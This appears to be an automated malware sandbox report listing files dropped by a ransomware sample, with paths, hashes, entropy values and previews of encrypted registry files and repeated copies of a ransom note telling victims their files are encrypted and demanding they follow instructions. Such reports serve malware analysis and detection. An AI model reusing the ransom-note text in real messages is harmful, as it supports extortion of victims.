                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Default\Documents\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Default\Downloads\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Default\Favorites\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Default\Links\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Default\Music\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Default\NTUSER.DAT.LOG1
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):57572
                                                                                Entropy (8bit):7.997181118570106
                                                                                Encrypted:true
                                                                                SSDEEP:1536:Afu2fFXeOZHJtQ1T7HxNBpl+HLepIZZlutmzG:2uAUgzQ9jxJl+HLiIPAwzG
                                                                                MD5:FD021CF49BDFCBDD85217028604FB487
                                                                                SHA1:1EF97DF73F4D47109CFA4134BCDF6CB9B2CBE72A
                                                                                SHA-256:C0A02EFD5B329640E84E26A2FF99010AFC56F0EB25D8E80DE736C1CDAC48D01C
                                                                                SHA-512:6A0A29956ED2AE8168E60E3338A48375DC151EBFDFECE2E0361AB7965C38FF56E83FF7C6F9593D5B53A1C13BB28040F544E5C6D49FE41E11CA692CFEF81B9D3E
                                                                                Malicious:false
                                                                                Preview: ..-v.6c..>..5tM...5j.t}U1.g....."u..R.h.sXao...i.......D#wZ1..KZ..M.a|......+.J.Fy.[...a....2...8..,....m.........O^..Zw.3..........t.h..H.*\..+...j+..>.#F.....t!....mxc.|.]L|..U........O`..`G....f?x.h.Z.../z3=B:....Ld.9..RBD6d..Cz.f...j.w..%=E.d....K....E.?Au.Tk...M.w.Lz&.n..."d.*%._..V..&.}...M....\..W.k...!b...m...n[.F#.S#......u...k ...]..c....Y.....a\..4.#....?h.}\DMu4.........8g.W.}Uh...;..4.....5.M....o.%...4.`..%..L.9.C....E?....e.+z'Z<..:.E2o..-=.d.. AU.Q....=.....H4...Cm..f........(..d2+X......Zb.M....."...o...W....X!..m.m.\~.5MR..Z..<-g)....2]..+f..F.@q.a..Y.. -....O...Y...'...zc..t...8..*....S.Qqp..'m....;_.>....[.W...7.\....v..^.p...1..dU3...`.}..H'O..\.........<.B..<G3.....#..N.D......o..Wl..)).h......4oM...c..K..."Z..7..}K..".-8=.....+q..l....MGwB.J.b%...$'....0.....3...hJ;RG.../&.:...M}....x..^.A2..}..o...... ...... {..&.M.!:sA...[".!)..+.h...M.A...At..M..zmu...P{..1.A.?..iX_....vF...._&b........I..g....E..GsS...
                                                                                C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TM.blf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):65764
                                                                                Entropy (8bit):7.997248136331036
                                                                                Encrypted:true
                                                                                SSDEEP:1536:/kaYwWQFvCJqSVyiKEQEpO/jM9D/KsuaM/Oi6i3ljWa:MaYwWYvkqVEQEpWjMl/KtaMOi935Wa
                                                                                MD5:26CEC4680BA2E737850A7652F1194DF0
                                                                                SHA1:00CBDD5E7E1AA7093396DB440EAEB3CE39B101E5
                                                                                SHA-256:D4287ACD64FE509427C6F1AE2CCF0CB995B0DE6600E8F1DF77447CA754D450F7
                                                                                SHA-512:F1817C223DEFA53D36492AEB557D78A315A40F9025DD87C2D408FBDA6A2CD51C4948F4EBF2D163099926945113595C37A9ACAF454A9489ED9D48EB9674D70AB8
                                                                                Malicious:false
                                                                                Preview: ....K.i....l.DF>.LdOJys.......kJ...Qm.R..Z.=c...n{..$y.s..|_U.Nz>tIU.........9.H......m...Z....FIg..Xx.1..".7\...!.....o.UIy)......@0...$J<....k.9......6I..=B..~.....o..Q.a.9......R;9s"............e..S...{.o.!%............6}.B..Xe...k...H6K...-.}b.6.. ...j...|]..wD8....w/2.g...$.Il.._.|..56....L..:.h..r..Y.."6..M......OZ..s..P..0.-.G.HgcD....5SX....,7l. c..".U....w...+..|...%...g@Z..v.....d(...U..2........w`..B......H...5*d....I..Z.(.3Q.L.c.`x^..7?.I_.'.........;l.=|....].KX...q..Ax....P,......%.......R.e...0=Bi.J....z....t....b..Q.d.....C...%......B..G;#%/..`Wb.P.l.P.Qd.LM..o...-a"..3..@.D.e.gH...&n..[P.O.S....6..*...Qb.......hKr...6..:?....>.3..||........+X,.N...%e......WS_..<..{{.^f..]'<..w.,fc.....+.?...ye....%.....$....S...^.E..;.U..sbT......?.$....qt.T.d*...h#...........Lb..=.>.6'KpW.1.....k..fq.1.QJ...\....O.....x...8.!..>l....f....O.z..}{/+...7w.........B..iE..T...HM.....B..=. <...7.........f..<..y~+..u".V....S@'g/..}.
                                                                                C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000001.regtrans-ms
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):524516
                                                                                Entropy (8bit):7.999652945553299
                                                                                Encrypted:true
                                                                                SSDEEP:12288:poI9sGEukoXmy+nCcHalOjSQz5YMmpc9n26XlIeKj:6J4kCcHnTz5YMmcdDXltu
                                                                                MD5:0EEF863C4D499CFBB66C62D90EC5D14A
                                                                                SHA1:D3C96D87D51C5F890C2033059D829054D5E54576
                                                                                SHA-256:DAB44E6F83746B9D9795DA0FEF14336C51C050E1B131591D71BE3A042AC57664
                                                                                SHA-512:C230C71CF2AED928804FC0BAC2235B82C61B2FA74083A3539B0E23D157B8857EED83C4B1C5E056654FBF641F4F61CFF3151BD67E0B31D4235BC6F2A84E936345
                                                                                Malicious:false
                                                                                Preview: .D....hR..... !....;.j$B..[P.S.m-.r.}-4E....t.-A....h.....I,....|BJB...D,..(.......X..(..z.-6`.I.q.."..pv......8.4.(b.89`P.w.,5.../:..........$S.^.z.A...U;.W....O.......~..KZ.J.N(p.._..q;.Zb..Y.7...Z..b......4..4.r...E.d...R.a...F.1f.X.zJ......k....<N1^.....guV..........8..Z5.._...ZR..'\...9..Y....?.qe.......B.sj..L..(.1-Hzk...o.J.V.r.[...;..q.k....~&.n+2.....)....u......./.?i.......vk..s-.=...p=..bNH.:.W8...ax,......_:".y..^E.]....&P....T>...Y_.W[y...(F?..."~.....=<a...2..l...C..Z...$)...,7.H..7..s0P...H.+I7efxO}...4....0..c@.L/.f.}.:9)i........X.7...;..D.....h....>U.Sw.'....y.6...!..3.{:zC<@....Fb.K.....H .p.e...?..k?L.8..k..4.T....g.z......mP....8Z&G.gY+6.P.Xl.......D~....P...............V/.t.0-4.1d......5../y.-.Wu....b9T7..&W...O..1.j...cW........+.Nr...a.`...+y.....m.V..g.3|h7..%..F......].c..@...b......i2..mM.x.......M.0....C...g.O..$.......5..i..B..H.fy.q..r.G....'pG.MU..*.Q_.....X..4..?..%.H.~t.d..Y.F./O........RI..a.....
                                                                                C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000002.regtrans-ms
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):524516
                                                                                Entropy (8bit):7.9996111158614465
                                                                                Encrypted:true
                                                                                SSDEEP:12288:yoyBcQypzL/6GN0WNQ4QRLYt+ptXUmywXOQefz1oDtbw7yX:WcQypz76GdNQ488iNwjfihbwU
                                                                                MD5:A8873092CBE6D77A97B5152938D3B5CB
                                                                                SHA1:A0F6B37108249C4743ED4126F581650521D34D22
                                                                                SHA-256:2B4553F1B713E2883097B96C9F3050E307728D65020560C062337477A013A1BE
                                                                                SHA-512:F41733271BE752B9740DD5FC49F18500E7E40FB0C58BC3A3440641EE3BE97A457002274D8368E329FFB7C24518252D31AE4233BEB70243F5A8E008B7A2A1FAE2
                                                                                Malicious:false
                                                                                Preview: .._[..=.{`.........#...<..]..-.;..../(D..m.... ..v%@2..H..u.u..Z....\YuvMZ..UF:..a.K1....-...$.I%.k5$..@...~#.`O.,I..ZL?S.\._fs..B..m.PLT-.........<.{..i.F.5($.WC.*e.j.A...m...B.o.xS ...n...-..U.w.>}t.....|z.D.:cA...T...kO.?m..r..<.^E...qN.ah...2...%u..%:R;.@.&..9...f...Y....%.-X~K8...r....Di.}4@.!...D..})..c<.uZ..X...(..".;.x...l.q_..a.r.f..]...:5[$.&o.V...$.#.....8sH+..o.. ........+.h.......SK..)..Tq...Sil9..l.&{.wn-.quz.1..gxf(....yb..Y....F...93.@..\.J1...kB%....T.........,....M...K.......n+M.PD.cT.!yGbq.=...o..Fnu.6f.....*8..5.v....:......)y..m|~.<...c4.H.I!..q.w...,..D..W...$...q........T.....<g.T..9..F]I..vu...dT. 6v...A|.I1..?..)6..!.[..D;.oJ.[.(..p&.Z..Y.q......q...m....G....ZCKg.Y.Pz......;.nn...f).)...gY.U.....!'.@.k.>(7..../uN....0......<..,+m.@.....aw.....9W.}..%.I..=.z..b`eH..../.:y)..Y.Nh..... ..?...*..NH."..........'....|.......b}...a..2..]:t\62.... ...b&.=.CyS~v^@s..K.;..[..y....x....>.x.(......]..y.. ..=..'....N..}.l...Q..4.6.@^._
                                                                                C:\Users\Default\Pictures\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Default\Saved Games\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Default\Videos\37g7mqh9-readme.txt
